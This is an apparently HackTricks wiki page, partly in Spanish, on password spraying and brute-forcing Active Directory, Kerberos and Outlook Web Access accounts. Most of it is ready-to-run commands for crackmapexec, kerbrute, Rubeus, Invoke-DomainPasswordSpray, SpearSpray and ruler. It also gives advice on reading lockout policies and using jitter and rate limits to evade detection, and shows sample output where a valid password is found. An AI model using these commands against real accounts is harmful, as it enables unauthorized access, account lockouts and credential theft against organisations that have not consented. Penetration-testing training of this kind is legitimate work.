Password Spraying / Brute Force

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Password Spraying

Una vez que hayas encontrado varios valid usernames puedes probar las common passwords (ten en cuenta la password policy del entorno) con cada uno de los usuarios descubiertos.
Por default la minimum password length es 7.

Las listas de common usernames tambi茅n pueden ser 煤tiles: https://github.com/insidetrust/statistically-likely-usernames

Ten en cuenta que could lockout some accounts if you try several wrong passwords (por defecto m谩s de 10).

Obtener password policy

Si tienes user credentials o un shell como domain user puedes get the password policy with:

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Explotaci贸n desde Linux (o desde cualquier sistema)

  • Usando crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (puedes indicar el n煤mero de intentos para evitar bloqueos):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Usando kerbrute (python) - NO RECOMENDADO, A VECES NO FUNCIONA
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Con el m贸dulo scanner/smb/smb_login de Metasploit:

  • Usando rpcclient:
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Desde Windows

  • Con Rubeus (versi贸n con el m贸dulo brute):
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • With Invoke-DomainPasswordSpray (Por defecto puede generar usuarios del dominio y obtendr谩 la pol铆tica de contrase帽as del dominio, limitando los intentos seg煤n 茅sta):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying con direccionamiento LDAP y limitaci贸n consciente de PSO (SpearSpray)

El spraying basado en Kerberos pre-auth reduce el ruido frente a intentos de bind SMB/NTLM/LDAP y se alinea mejor con las pol铆ticas de bloqueo de AD. SpearSpray combina direccionamiento impulsado por LDAP, un motor de patrones y conocimiento de pol铆ticas (pol铆tica de dominio + PSOs + buffer de badPwdCount) para realizar spraying de forma precisa y segura. Tambi茅n puede etiquetar principals comprometidos en Neo4j para el pathing de BloodHound.

Ideas clave:

  • Descubrimiento de usuarios v铆a LDAP con paginaci贸n y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
  • Filtrado consciente de la pol铆tica de bloqueo de dominio + PSO para dejar un buffer de intentos configurable (umbral) y evitar bloquear usuarios.
  • Validaci贸n Kerberos pre-auth usando bindings gssapi r谩pidos (genera 4768/4771 en DCs en lugar de 4625).
  • Generaci贸n de contrase帽as por patr贸n, por usuario, usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
  • Control de throughput con threads, jitter y max requests por segundo.
  • Integraci贸n opcional con Neo4j para marcar usuarios comprometidos para BloodHound.

Uso b谩sico y descubrimiento:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Selecci贸n de objetivos y control de patrones:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

Controles de sigilo y seguridad:

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound enriquecimiento:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Descripci贸n general del sistema de patrones (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Available variables include:

  • {name}, {samaccountname}
  • Temporal from each user鈥檚 pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Composition helpers and org token: {separator}, {suffix}, {extra}

Operational notes:

  • Prioriza consultar el PDC-emulator con -dc para leer el badPwdCount y la informaci贸n relacionada con pol铆ticas m谩s autorizada.
  • Los reinicios de badPwdCount se disparan en el siguiente intento despu茅s de la ventana de observaci贸n; usa umbrales y temporizaci贸n para mantenerte seguro.
  • Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetr铆a del DC; usa jitter y rate-limiting para pasar desapercibido.

Consejo: El tama帽o de p谩gina LDAP por defecto de SpearSpray es 200; ajusta con -lps seg煤n sea necesario.

Outlook Web Access

Hay m煤ltiples herramientas para password spraying outlook.

Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contrase帽a / una peque帽a lista de contrase帽as para password spraying.

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks